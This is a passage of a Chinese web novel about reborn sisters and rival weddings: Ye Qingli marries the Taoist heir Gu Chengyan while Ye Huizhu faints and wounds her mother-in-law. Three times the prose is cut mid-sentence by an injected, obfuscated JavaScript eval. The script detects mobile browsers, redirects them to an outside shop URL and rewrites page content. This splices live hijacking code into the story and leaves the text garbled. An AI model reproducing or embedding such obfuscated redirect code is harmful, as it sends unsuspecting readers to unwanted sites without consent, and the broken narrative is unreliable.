上一世,她便如此刻的叶青漓一样,被众人用疑惑,惊叹,惋惜的目光瞧了个遍。 第二日,所有人都知道顾承宴没来迎亲,自己彻底成了笑话! 现在,该轮到叶青漓尝尝这滋味了! 叶青漓面无波澜,甚至有点想打哈欠。 没办法,起得太早了。 喜婆等了又等,没瞧见顾承宴的身影。 加上一旁陆怡珊一直在使眼色,她只好硬着头皮继续走流程。 “吉时已到,行礼!” “且慢!” 4. 下马威 如冬日山泉般清列好听的声音在人群中响起。 众人闻声望去,只见一个俊美异常的男子身着红衣缓缓走来。 今日是叶家嫁女大喜,整个叶府被装饰得焕然一新:屋檐处挂满红绸,檐角的灯笼换上红装,柱子上、窗棂上、就连室内的桌椅上也贴着无数剪成囍字的红纸,入目皆是一片喜气洋洋的红色。 偏此人给人的感觉格外不一样,自他出现后,满屋的红仿佛都褪了颜色! 堂内的宾客皆被这抹红色迷了眼,唯叶蕙珠瞪大双眼看着面前这张陌生又熟悉的面孔。 她不自觉攥紧手中红绸,呼吸变得沉重起来,忍不住向叶青漓的方向望去,勾画精致的眼中爬满不甘。 叶青漓,她凭什么?! 叶青漓没有注意到,叶蕙珠此刻能将她生吞活剥的眼神,困意惺忪的眉眼,在男子出现那一刻骤然亮起来。 她怎么看见长生道长了?难道是在做梦? 红衣男子顶着众人惊异的目光,一直走到叶青漓身边停下。 喧闹之声最鼎盛时始终保持沉默的顾府管事,突然小跑着站了出来,被肥肉挤得看不见五官的脸上,冒出两颗黑豆,里面盛满惊讶。 “大公子,您怎么下山了?” “大公子?” 叶青漓幻想的美梦,因为这三个字彻底破灭。 她看了看满脸殷勤的顾府管事,又看了看面无表情的俊美男子,再结合叶蕙珠突兀的表情,终于明白了什么。 原来长生道长就是她这一世的夫君——顾承宴。 她还真是,艳福不浅! 顾承宴抓住叶青漓另一端的红绸,长身玉立,目不斜视,声音清朗,气质斐然。 “今日是我大婚。” 男人容颜出尘绝世,莫说是叶蕙珠,叶青漓此刻也觉得她何德何能了。 她侧目看向顾承宴,男人正巧也望过来,对视之时,叶青漓一脸正大光明的欣赏,顾承宴被她灼热的目光瞧着,不自然偏头回避。 “吉时已到,可以开始了。” 顾承宴提醒之下,堂内停滞的氛围终于被打破,喜婆如梦初醒,连忙熟稔地念起流程。 拜别父母后,叶蕙珠由她的亲弟弟叶嘉伦背着出了门,背着叶青漓的却不知是陆怡珊从哪个亲戚家抓来的小孩。 临出府时,沈仕楣忽然停下脚步,冲他身旁的书童莫书示意。 莫书点头,从一旁拿出早就准备好的一筐铜钱,抬手朝着挤在叶府门外看热闹的人群撒去。 “今日是我家公子与叶家大小姐的新婚大喜,请大家沾沾喜气!” 百姓们本以为只是看个热闹,没想到还能有钱拿,瞬间一窝蜂涌了上来,一边捡钱一边识趣地拱手道喜。 “祝二位新婚大喜!” “祝沈公子和大小姐百年好合!” “应该祝两位早生贵子!” “对对,早生贵子!早生贵子!” 叶蕙珠坐在花轿里听着外面一句句的恭贺声,轻轻勾起嘴角。 顾承宴亲自来参加婚礼又如何,他能做到沈仕楣这般体贴吗? 另一头,顾承宴走到扎着红花的高大骏马旁,预备上马,察觉到沈家这边的异常骚动后,忽而皱了下眉。 “莱福!” 管事莱福立刻从人群中小跑过来,一脸讨好,“大公子。” “国公府没有准备喜钱银子吗?” “呃……这……” 今日大婚,国公府连新郎官都没有通知,怎么可能准备这个? 莱福不知道他们家大公子是为什么忽然下了山,又为什么忽然来到婚礼现场。他只知道自己若是说没有,那他这个管事就做到头了! 毕竟大公子只是无心与夫人争斗,却不是个傻子! “当然有!” 莱福强忍着心疼从腰间取下钱袋,脸上笑容绽得更开,“大公子,早就准备好了!” “那你也撒给他们吧。” 莱福苦笑着上前,抖着手将自己钱袋里的几十两碎银撒出,冲着叶蕙珠这边的人群大喊: “今日也是我们顾府大公子和叶家二小姐的新婚之喜,大家快来沾沾喜气!” 随着碎银被百姓捡起,人群中爆出一声惊呼。 “天呐!顾国公府撒的是银子!” 有人闻言动作麻利地捡起一枚碎银,放在嘴里一咬,顿时眼前一亮。 “银子,真是银子啊!” 原本挤在叶蕙珠花轿旁的人听见动静,一溜烟跑到叶青漓这边,嘴里各种吉祥话说个不停。 叶青漓本安安静静地坐在花轿中,忽闻轿外无数声‘早生贵子’,不禁失笑摇头。 这祝福可给错人了。 叶蕙珠被抢了风头,脸上的微笑僵住,修剪得宜的指甲狠狠掐进圆润的苹果中。 叶青漓,我跟你势不两立! 沈仕楣看着自己好不容易造出来的势,被顾承宴轻而易举夺去,心中也有不喜。 不过当前最重要的不是与顾家争高低。 他立在轿外,柔声对着花轿里的人说道:“大小姐准备好,我们要启程了。” 对于沈仕楣的体贴,叶蕙珠受用至极,轻轻回了一个“嗯”,便期待起接下来的流程。 沈家的迎亲队伍离开时,顾家这边的碎银也捡得差不多了。顾承宴翻身上马,率先动作,后面的迎亲队伍立刻跟上。莱福小跑着跟在他后面,不知从何处拿出来一件大氅。 “大公子,今日天冷,不如穿上这身大氅御寒。” 顾承宴坐在马上,没有看他一眼。 莱福继续微笑,双手保持高举的动作,“大公子在观中修行,我们不敢惊扰。今日这婚事是国公爷和夫人特意为你办的,想着大公子年岁不小,是到了成婚的年纪。” 顾承宴依旧没有动作,莱福眼珠子转了转,继续道。 “说来也巧,当年国公爷为公子定亲,女方是叶家的大小姐。可不知怎的,大婚前几个月,叶家竟又说觉得他们府上的义女二小姐与您更有缘分,想要换人,夫人想着大公子修道中人,讲究的就是一个缘字,便答应换人。” “本想着等大公子下次从山上下来给你一个惊喜,没想到叶家二小姐和大公子真如此有缘,竟刚好赶上您下山!” 话音落下,顾承宴终于伸手将大氅接过,随意披在身上。 鲜艳的红被浓重的黑色覆盖,放在顾承宴身上,没有让人感到厚重,反多了几分矜贵。 “辛苦你替我走这一趟了。” 莱福一脸苦笑,慌乱摆手,“哪里哪里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13578726|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大公子客气。” 早知道大公子今日会下山,他一定不答应夫人的安排,来叶家接新娘! 两人身后,采莲穿着一身叶府侍女的衣服,腰间绑了根红绸,随侍在轿子外。经过三个月的调养,她早不再是后山柴房时面黄肌瘦的模样。 她怀里抱着东西,快步走到轿子旁,小声问道:“二小姐,要不要吃些东西?” 叶青漓自晨起便未进食,一场繁琐的流程下来,早已饥肠辘辘。 “有什么吃的?” “奴婢准备了栗子糕、桂花糕和红豆糕。” “桂花糕吧。” 采莲依言把桂花糕递了进来,叶青漓将手中苹果放在一边,开始享用起来。 新娘子妆容复杂,叶青漓不想吃东西弄花了脸,是以动作极慢,等她吃完采莲递进来的桂花糕,花轿刚好抵达顾国公府。 轿子被踢了一下后,一只骨节分明的手出现在叶青漓视线里,她拿起苹果,伸出另一只手搭了上去。 入手指节微凉,手心温热。 叶青漓被顾承宴牵着一路走进顾国公府,大堂内已经站满了宾客。 主位上坐了两人。 一个是顾国公。 瞧着与顾承宴有七八分相像,不难想象他年轻时也是京城独一份的美男子。此刻他面无表情看着两人,若不是叶青漓看见他眼角细纹不时出现,定会以为他不喜顾承宴。 另一个则是顾国公继室夫人赵氏。 她生得一脸喜相,不过轻轻勾起嘴角,便让人觉得十分亲切。然而离得越近,叶青漓越能看清赵氏望向顾承宴时,眼底的浓浓惊讶。 是了,按照前世轨迹,顾承宴本不该出现在这里的,这一次,是哪里出了问题? 叶青漓还未想明白,前路忽然被拦住。 拦住她的不是喜婆,更不是顾国公府的下人,而是一个火盆。 喜婆在一旁介绍道:“这是大婚的一道流程,新娘子嫁过来时要跨过火盆,一来去除你身上的邪气和晦气,保证家宅安宁,二来也是讨个红红火火的好彩头,新娘子只管跨过去就是。” 叶青漓:“?” 她倒是想跨过去,可谁能告诉她,为什么这火烧得如此旺盛,火苗几乎能到她腰部!不提她现在一身繁复厚重的婚服,便是她一身运动装,只怕也不能平安无事从这火盆上跨过去。 此时众人的目光皆驻足他们两人身上,叶青漓不过片刻的犹豫,尤为显眼。 顾承宴不是瞎子。 他也注意到那火焰异常的火盆和身侧叶青漓的犹豫,张牙舞爪的火苗吞噬了几分他眉目之间的清冷, “火盆危险,这个流程免了吧。” 叶青漓闻言正要点头。 一个身穿红色百褶裙,头顶紫金钗,隆重程度丝毫不输她的女子忽然开口,“我当初嫁进来时便有这个流程,其他弟妹亦是如此,怎么偏大嫂如此娇惯?” 她叫自己大嫂。 叶青漓婚前打听过一番,顾国公府主子很多,除了早逝的原配所生顾承宴,继夫人赵氏育有一子一女,另有三名妾室膝下各有一子,且都已婚配。 这女子口口声声叫自己大嫂,提及其他弟妹时却难掩眸中高傲,想必正是府中的三少奶奶,赵氏所生顾承卓之妻——辛氏。 5. 洞房一 她抬眼看向坐在主位的赵氏,果然她嘴角的浅笑不知何时化为一抹得意。 想来这烧得异常旺盛的火盆就是她们的下马威,目的自是让自己出丑! 毕竟她是顾承宴之妻,她出丑了,顾承宴也就出丑了。 手段倒是好手段,可惜遇上了她! 叶青漓轻笑一记,对着辛氏点点头,“我自是要与各位弟妹一样的。” 话罢,她朝身侧顾承宴看去,“能否借我一样东西?” 顾承宴眼中疑惑之色将起,叶青漓已经上手扯下了方才莱福刻意讨好披在他身上的大氅。她双手攥住衣领,走到火盆前用力一甩,大氅卷起的狂风瞬间将火苗吹得倾倒,叶青漓也在此时轻巧一跳,跨了过去。 顾承宴看着她一气呵成的动作,眸中闪过一丝错愕,接过她递回来的大氅时,唇边多出一抹若有似无的浅笑。 “这样可算过了?” 吃了一嘴冷风和黑烟的辛氏,看着依旧熊熊燃烧的火盆,只能偃旗息鼓。 两人走到屋内,站在顾国公和赵氏面前,喜婆正要按照流程开始唱礼,顾承宴忽然出言打断。 “为何我母亲不在?” 此言一出,顾国公脸色瞬间沉下来。 “你母亲已经死了十多年,如何让她来接受拜礼?” 顾承宴语气不变,就像是在说今天晚上吃什么一样寻常。 “她的牌位还在。” 这句话彻底激怒顾国公,他拍案而起,指着顾承宴的鼻子满眼失望,“我本以为你是想清楚了才回来成婚,没想到还是这么冥顽不灵!今日是你大喜的日子,哪有摆一个牌位在这的道理?” “她是我母亲,不是什么旁的孤魂野鬼。孩儿长大成人,娶妻成家,自该告知母亲,让她同乐!” 顾国公显然被顾承宴的态度气坏了,双目圆睁,满面怒容,胸口起伏不跌。 现场的宾客也因顾国公的动怒而躁动不已。 “听闻这两父子早就关系不好,如今所见,传言非虚。” “哪有人在大喜的日子放一尊牌位在的,这顾大公子该不会脑子有问题吧?” “哎,话不能这么说,你们单看见赵氏现在满脸慈爱,别忘了她只是个继母,对顾大公子是好是坏还说不准呢,否则这嫁进来的新娘子怎么会从叶家嫡女大小姐变成一个义女呢?” 顾国公府是钟鸣鼎食之家,少有人敢当面议论他们的家事。 然则此次顾承宴成婚,前来观礼的也多如顾家一般富贵,根本不怕得罪,加上这样一场难得一见的好戏,议论之声不绝于耳。 赵氏乐见父子两人僵持,却万万不愿让旁人看了自己的笑话。她皱了皱眉,眼珠微转看向一直眼观鼻鼻观心的叶青漓。 “你这孩子还不快劝劝承宴,大喜的日子哪有父子两人先吵起来的?” 叶青漓微怔,没想到赵氏竟想将火引到自己身上。 她一个大礼未成的半路新娘,哪里有资格过问夫家的事情,还是这种轻易能惹怒两任主君的‘大事’。 不过她既然执意把自己牵扯进来,自己当然不能让她失望。 叶青漓微微俯身,十足的恬静温婉。 “夫人说得是,夫妇本为一体。夫君大婚之日想起生母本是一片纯孝之心,并非刻意为难。青漓以为若能全了夫君孝心,圆了国公爷和婆母的最后一点夫妻情分,将牌位放在此处未尝不可,毕竟青漓相信夫人也不愿看到夫君和国公爷如此僵持。” “不过,若是夫人介意的话,还是算了……” 叶青漓话落,脸色铁青的瞬间变成赵氏。 顾国公因叶青漓那句最后的夫妻情分收敛怒容,低头沉思着什么。顾承宴侧目看了眼叶青漓,平静如水的眸子泛起涟漪。片刻后,两人不约而同看向赵氏,目的不言而喻。 赵氏本不将顾承宴的婚事放在心上。 顾家父子因着那个女人的死闹了多年,若非顾承宴是顾国公嫡子,顾府早没了他的位置。这也是她敢收下叶府贿赂换新娘的原因之一,只是她没料到,自己有被这个她不放在眼里的义女逼迫至此的时候。 一个牌位,说白了就是一块木头。 可偏偏她答应了就是打自己的脸,让一个死人压自己一头;不答应就是心胸狭窄,没有气度,只顾自己的面子不顾他们父子情分! 叶青漓,我记住你了! 赵氏眸色沉了片刻,脸上忽而绽起浓烈得有些虚假的笑意,“若能两全其美,我自然是不介意的!” “如此,那便再好不过了。” 叶青漓嘴角噙起一抹淡笑,为事情能皆大欢喜而高兴。 顾承宴母亲的牌位很快被拿上来,堂而皇之地摆在顾国公和赵氏中间,叶青漓和顾承宴随着喜婆的唱和声拜了天地,送入洞房。 结发之后,顾承宴被人簇拥着去前厅吃酒,新房变得安静下来。 叶青漓揉了揉酸胀的脖子,长舒一口气。 “采莲,快来给我揉揉肩膀,松快松快!” 采莲一早在旁候着,听见叶青漓召唤,立刻上前动作起来。 经过三个月的学习,采莲早已不是当初那个连饭都吃不饱的小丫头,这几个月来,她在叶青漓身边学了很多东西,也比从前能看透很多事情。 她一边为叶青漓缓解肩上的疲累,一边疑惑问道。 “奴婢今日瞧着那顾国公夫人看着是个好相处的,二小姐为何要当着那么多人的面打她的脸?二小姐已经嫁进顾家,她又是二小姐名义上的婆母,若是得罪了她,往后日子岂不难捱?” 叶青漓眯着眼睛,缓缓与采莲解释。 “你家小姐我嫁的是顾国公府嫡长子,一个长字便压了赵氏所生的儿子一头。若是顾承宴身上没有大错,往后这顾国公府的爵位早晚是他的。你猜我对她恭恭敬敬的,她会礼尚往来对我好吗?” 她说着,完全放松身子将头靠在采莲身上, “更何况,今日她安排那火盆刁难我,我请了亲婆母的牌位压她一头,也算是给自己出了口气。” “现在我俩,互不相欠!” 采莲自被叶青漓救回去后,一直惦记着报恩,得知叶青漓要带着自己一起来顾府后,更是在如何处理好夫妻,婆媳以及妯娌关系上做足了功课。 怎料,这顾国公府从一开始就是个狼窝! 采莲想着自己曾听说书先生讲过的大家族里为争夺家产,私下来斗得死去活来的故事,眼底不禁盛满担忧。 那日在白云观后山被二小姐救起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13578727|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,她心中惶惶不安,不敢相信自己竟有这等运气,入了贵人的眼。可她小心警惕了半个月,都不见叶府的人苛待折磨她,反而脸上被养出来些肉,就连她的弟弟阿桥也被小姐带着认了许多字。 她这才彻底相信二小姐是真的好人! 可是这样好的二小姐为何嫁的竟是这样一户人家? 叶青漓半合起眼睛微眯了片刻,再睁眼时看见的就是采莲眉心紧蹙的模样。 她不由失笑,抬手在她头上轻点了一下。 “小丫头愁什么呢?才这么大点年纪,小心把皱纹愁出来了!” 又是这样。 采莲不明白,明明二小姐比自己大不了几岁,怎么总是用看小孩的目光看着自己,叫她又感动又好笑。 “二小姐不怕吗?女子嫁人便如第二次投胎,顾国公府这样的情形,二小姐不怕将来日子难过吗?” “有什么好怕的?” 叶青漓笑圆了眼睛,“我有手有脚,有嫁妆有仆人,只要脑子没问题,完全可以过得很好。” “可是夫人刁难呢?” “她怎么欺负我的,就怎么欺负回去。” “府里其他少夫人排挤呢?” “我整日忙着挣钱的事,可没有时间跟她们玩霸凌。” “府里下人说你坏话呢?” “没听见就算了,听见了就……听见了呗,我又不会掉块肉。” 采莲绞尽脑汁,把自己这些天看到的听到的,女子嫁人之后的困境都问了一遍。 最后声音发虚道: “那……若是夫君不喜呢?” 叶青漓斩钉截铁: “我这么优秀,一定是他有问题!” 顾承宴听见这句话,推门的手僵在半空。 待屋里没了声音,他才扣动门扉。 采莲听见响动,前来开门,看见是顾承宴后,眼神闪了闪。 “大公子。” 叶青漓也没料到顾承宴刚巧回来,不知她刚才说的话他听见了没。 采莲有眼色退下,屋内霎时只剩下他们两人。 新房角落里燃着龙凤双烛,明亮的烛光亮起,照在叶青漓面容上,让她白净妍丽的面容多了几分摄人心魄的明艳。 寒风顺着未曾闭合的窗牖吹进,卷起龙凤双烛燃烧后的香气,扑进顾承宴鼻尖。 他轻嗅一记,似乎又闻到那日在白云观闻到的清香。 叶青漓率先打破静默,起身关了窗户,将放在桌上的交杯酒端起来。 顾承宴接过,在叶青漓澄澈的目光下,鬼使神差喝了下去。 一杯冷酒下肚,鼻尖的清香淡了。 叶青漓放下酒杯静静望着他。 按照流程,喝完交杯酒就该洞房了,可是叶蕙珠说过顾承宴根本不行。 那她现在该怎么办? 是装作害羞紧张,直接把人推开?还是继续走流程,然后惊讶,惶恐,尖叫跑开? 两个表演都很有难度的样子…… 室内再次陷入沉寂,直到红烛乍响,噼里啪啦,烛光恍惚一瞬,室内忽然陷入一片迷乱的昏沉。 叶青漓看见顾承宴欣长的身影落在地上,摇摇晃晃。 “我不会与你洞房。” 6. 洞房二 “什么?” 叶青漓抬头,眼中满是惊讶。 “我本无心娶妻,这场婚事是父亲和赵氏背着我办的。你嫁进来能享受到顾家大少奶奶应有的一切荣华富贵,多的却是没有了。” 这里的‘多的’是指孩子吗?难道上一世顾承宴也是这么跟叶蕙珠说的? 叶青漓眨了眨眼。 闪烁的光影下,顾承宴看见她的双眸黑白分明。 在叶府看见一袭嫁衣的叶青漓时,顾承宴是震惊的。 他没想到白云观上,那个善良果敢又有些刁蛮大胆的姑娘,竟然就是自己未过门的妻子! 当时只想着不要毁了她的婚礼,却忘了顾家才是真正的虎狼窝。白日里叶青漓被辛氏刁难时,他已然后悔,却没想到这姑娘比他想象得还要勇猛。待听得叶青漓帮他争取将母亲牌位放在喜堂时,顾承宴平静无波的内心瞬间被愧疚填满。 他不是良人,却娶了她。 实在是误了她的终身! 顾承宴深吸一口气。 “姑娘在白云观见过我,该知道我是白云观的道士。” 顾承宴说着,狭长的眸子多了几分冷然,“那日多谢姑娘在后山教训师弟,我将他带到师傅面前,发现原来师弟经常将换下来的供果,卖到观外换取银钱,且不止一次。我尊师命下山调查此事,才知顾国公府已经为我办了婚事,而新娘的名字也叫叶青漓。” 提及这三个字,他眸中微霜悄然化开,“初时还以为是巧合,我不想因我之故毁人婚礼,匆匆赶往叶府。” “没想到,真的是你。” 叶青漓消化了顾承宴的话,大概明白这一世为何与上一世有所不同。 前世她没有提前营救采莲和她弟弟,自然不会提前捅出顾承宴师弟的事,他如往常一样在山上修行,甚至连家里给他娶了妻都不知道,所以叶蕙珠大婚之日新郎才没有出现。 原来竟是这样的因果! 顾承宴看着叶青漓唇边浮现的笑意,眼神怔住。 她难道不该难过吗? 恍惚之际,他听见叶青漓声音淡然,“夫君的意思是我们做一对假夫妻?” “这……也不是……” “我明白了。” 叶青漓莞尔一笑,一旁的烛火忽然变得明亮,却远不比叶青漓眸中星芒照人。 “夫君放心,青漓既然嫁进来便是夫君的人,日后绝不会左右夫君的想法。” 所以你爱修行修行,爱念经念经。 “青漓在家中不会忘记替夫君敬一份孝心,伺候好公婆。” 如果他们配的话。 “青漓也会努力融入妯娌之间,保证府中和睦。” 融不进去就不怪她了。 “夫君还有其他事吗?” 叶青漓笑得温柔,顾承宴瞧着却总觉得好像哪里不对? 可是她说的又没有什么不妥。 叶青漓瞧见他摇头,笑得更加灿烂,微抬起手指向门边,“那青漓就不打扰夫君休息了。” 直到站在门外,看着紧闭的屋子,顾承宴恍然想起,她接受得是不是太快了? 屋内,叶青漓送走了顾承宴,哼着小曲走到梳妆台前,将采莲一早准备好的嫁妆单子拿起来。 这一世,陆怡珊碍于顾国公府的地位,给她的嫁妆比上一世可观许多,加上顾国公府送来的聘礼以及其他人的添妆,叶青漓现在也算得上是一个小富婆了。 当然,尤其要感谢友情提供‘体己钱’的叶父,他才是叶青漓手里现金流的大头。 叶青漓卸了钗环,沐浴净身,躺到床上,望着手里的嫁妆单子数起银子,每数完一遍,眼底笑意便更深一分,最后安然睡去。 却不知,与她同日成婚的叶蕙珠经历了一场怎样的婚礼。 叶蕙珠自重生以来,便对这场婚礼极为期待。 今日一早就忙碌不休,忘记了自己一日未曾进食。 为展示身材,让自己成为婚礼上的焦点,更是脱下御寒的夹袄,只着单薄的嫁衣,彻头彻尾的美丽动人。 饥寒交迫之下,叶蕙珠在马车上便晕了过去。 还是沈仕楣踢了轿子,等了半晌不见叶蕙珠伸手,自己伸头望了一眼才发觉不妥。 新娘子忽然昏迷的消息,令沈家前来观礼的宾客们错愕不已。 “这新娘子好好的怎么会昏过去?难不成她其实不满这桩婚事,偷偷吃了药?” 有人小声猜测着。 虽然这话十分离谱,可周围并无一人出来阻止。 一是因为沈家不过小门小户,众人并不怕议论他们几句。二是自沈仕楣和叶蕙珠的婚事定下后,周围便有无数怀疑。 堂堂叶府嫡小姐,嫁谁不好,偏嫁给一个什么条件都没有的举人书生,说这其中没有猫腻,谁信啊? 坐在主位的沈仕楣之母裘氏,浑浊的眼珠往骚动之处转了转,并未说什么。 三小子可说了,这婚事是叶府大人主动提起的,叶家嫡女也是他们求着嫁进来的,根本不是他们猜的那样,一群无知的人。 旁人见她没说话,胆子更加大起来。 “依我看这叶家小姐恐怕是身子骨有问题,说不定已经严重到不能生!否则怎么坐在轿子里,日晒不着,风吹不到都能昏倒?” 此言一出,附和他的人瞬间多了起来。 能来沈家观礼之人,大多也与沈家一样是小富之家。 家中除了盼望后辈有出息外,最大的愿景就是希望子孙满堂,一提起女子孕育之事,忽然七嘴八舌讨论起来。 裘氏闻言,眼底瞬间一暗。 沈仕楣此时还不知喜堂内的揣测,他看着双目紧闭的叶蕙珠,额间冒出几滴冷汗。 叶蕙珠虽然嫁给他为妻,可依旧是叶府的大小姐,如今被他接来沈家,还未拜堂,人先昏过去,他该如何向叶大人交代?! 书童莫书腿脚利落,在看见叶蕙珠晕过去后立刻跑去叫了大夫。 大夫把了脉,言说叶蕙珠只是受了冻,饿昏了,喝些温热的红糖水便好。 沈仕楣觉得不可思议! 堂堂叶府大小姐,怎么可能会被饿得昏过去? 可对上大夫不容质疑的眼神,他只好将心里的疑惑咽进去。 幸好,一碗热乎乎的红糖水下肚后,叶蕙珠很快醒过来。 她看见身边除了沈仕楣外,还坐着一个陌生的男子,心中微讶。撑手从床上坐起,却感到一阵无力,忍不住看向沈仕楣。 “相公,我这是怎么了?” 沈仕楣看着平添几分虚弱动人的叶蕙珠,语气温柔至极,“大夫说你一日未曾进食,天寒地冻的,身子承受不住,晕过去了。” “什么?” 叶蕙珠大惊,满面窘迫。 她本想以最好的面貌嫁给沈仕楣,没想到还未进门,却出了这样的岔子。 叶蕙珠下意识攥起长袖,轻咬下唇,妆点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13578728|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精致的面颊浮现几分羞粉。 沈仕楣看着她诱人的样子,心中最后一点不满也散得一干二净。女子爱俏,她有这般也是为了给自己呈现最美的一面,实在不必过于苛责。 沈仕楣又柔声安慰了几句,叶蕙珠听着,心中窘迫渐渐减弱,却又忽而想到什么,从床上惊坐起。 “糟了,还未拜堂!” 沈仕楣忙抬手将她按下,将剩余的红糖水递给她,“你昏得突然,不过莫书叫大夫叫得快,拢共耽误不了多少时间,快些再喝两口,暖了身子再去拜堂。” 沈仕楣如此体贴,叶蕙珠秀眉微弯,就着他的手低头喝得一干二净。 沈仕楣没想到她没抬手接,端着碗的手有些生疏地往前送了送。 待叶蕙珠恢复些气力,二人才从内室来到喜堂。 喜堂内宾客未散,裘氏端坐在堂中,等着两人拜礼。 见到沈仕楣带着叶蕙珠出来,她瞬间扬起笑脸,“好孩子,没事了吧?” 叶蕙珠迎着她关切的目光,心中又是一暖,轻轻摇头,“没事了,多谢老夫人关心。” “还叫老夫人?” 叶蕙珠小脸又是一红,低低叫了一句,“多谢娘。” 裘氏又是满意一笑,随即望向一旁的喜婆。 喜婆点头,终于开始了拜堂大礼。 夫妻对拜时,叶蕙珠与沈仕楣相对而立,她能清楚看见沈仕楣眼中的柔情,心里不自觉染上一层蜜。 拜完堂,叶蕙珠被送进洞房,沈仕楣则去前厅宴客。 入夜之后,一身酒气的沈仕楣回到房间,看着明媚动人的叶蕙珠,终于做了自己从早上就想做的事情,覆身将她压在床上…… 疼痛传来时,叶蕙珠忍不住叫了一声,下意识要将沈仕楣推开,可想起自己上一世未曾与顾承宴圆房,第二日被整个京城笑话,她又忍下了。 叶蕙珠身体本十分康健,可今日大婚折腾了一天,且未曾进食,只喝了两碗红糖水,身体早已累极。 一场房事过后,她更是难受不已! 原来这种事情会这么痛,幸好自己前世没有与顾承宴同房,他本来就不行,定然会令自己更加不适。 叶蕙珠想到自己几个月后将会怀孕生产,而叶青漓却只能孤零零地待在顾国公府,忍受赵氏和其他女人的欺负,胸中长舒一口郁气。 她动了动身子,侧身躺在早已熟睡的沈仕楣怀中,唇角微弯。 虽然拜堂误了吉时,可是夫君体贴,婆婆慈爱。 这一世,她终于找到属于自己的幸福了。 疲累感袭上心头,叶蕙珠合上双眼,渐渐进入梦乡。 “咔哒——!” 窗外忽然传来一声异响,叶蕙珠察觉不对,坐起身向窗口望去。正值夜半,屋内烛火燃尽,她猛然发现窗外似乎站着一个人! 一瞬间,叶蕙珠脑海中闪过许多阴谋算计,魑魅魍魉。 她紧紧拢住衣襟,用力将沈仕楣摇醒,在男人张口之前堵住他的嘴,指了指窗口边的人影。 沈仕楣被人打扰好眠,眼底尽是不满,刚要开口却被叶蕙珠的动作压制。 几个眼神交汇后,两人披上衣服,一人手中拿着床边的脚凳,一人举起桌上的香炉。 沈仕楣小心翼翼走到窗边,先冲叶蕙珠看了眼,得到对方点头示意后,忽然用力推开窗户,迅速将手中脚凳砸向黑影! “哎呦——!” “娘?!” 7. 敬茶 沈仕楣听见熟悉的声音忙开口叫了一声,可叶蕙珠砸香炉的动作已来不及收回。 刹那之间,只听又一声哀嚎响起,窗外彻底没了声音。 香炉落地,叶蕙珠不再后怕,可方才沈仕楣那声‘娘’叫得她莫名心慌,她逃避地看着地面,屏住呼吸问道。 “相公,你刚才说什么?” 沈仕楣早已心急如焚,来不及与叶蕙珠解释便从门口跑出,将倒在窗边的老妇抱起。 “娘,你怎么样?有没有受伤?严不严重?” 直到此刻,叶蕙珠才意识到那个一直在窗外偷窥的人正是她的婆母裘氏! 她脸色忽的一白,掐着手心也来到窗外。 裘氏额间被砸出血来,此刻疼得面容扭曲靠在沈仕楣怀里。 沈家大喜之日,接连请了两次大夫。 一次是为了唤醒被饿得昏过去的新娘,一次是为了给被新娘砸伤的婆母包扎伤口。 大夫压下心底的好奇,将最后一圈纱布缠好后,转身看着担心不已的两人。 “老夫人已经没事了,头上的伤看着吓人,只是破了点皮,养些时日就好了。” 沈仕楣闻言,脸上凝重少了几分,感激看向大夫。 “多谢大夫。” 大夫摆摆手,拿了沈家的诊费拎着自己的药箱离开。 大夫走后,屋内就剩下叶蕙珠三人。 她看着头上缠着纱布,连连呼痛的裘氏,纠结半晌还是开了口,声音发虚。 “都是我的错,我夜半醒来,睁眼发现窗边站着个人,还以为是家里进贼了,这才拉着相公……没想到竟是娘在那。” 提起这个,叶蕙珠声音渐实,满目狐疑望着裘氏。 “娘,你站在我们窗边做什么?” 裘老太太自然是去偷听洞房! 白日里宾客们的话她都听在心里,叶府大小姐是千金之躯,这么主动嫁到他们沈家来,实在不得不令人多想。瞧三儿媳的样子,对三小子也是喜欢的,既然不是心里对婚事不喜,半路吃了药,那就只可能是她身子骨虚弱,才晕倒在花轿里。 反正她是不相信大夫说得被饿昏的说法! 三儿媳身子虚弱没什么,可千万不能耽误了她抱孙子啊! 她在洞房外听了一宿,确认叶蕙珠身子没问题,总算解了心结。不料站得时间太久,腿脚发麻,左脚踩着右脚绊了一步,就叫三儿媳听见了。 此刻被叶蕙珠质问,裘氏老脸也有些挂不住。她侧过身子,虚扶着脑袋,低低地叫起来。 “哎呦,哎呦!我的头呦!” 沈仕楣作为大孝子,看见老娘被新妇质问,立刻上前挡住叶蕙珠的目光。 “娘都被你打得头破血流了,你还有心思问这些?”语气中的不满浓得几乎溢出来。 叶蕙珠抬眸,满眼错愕! 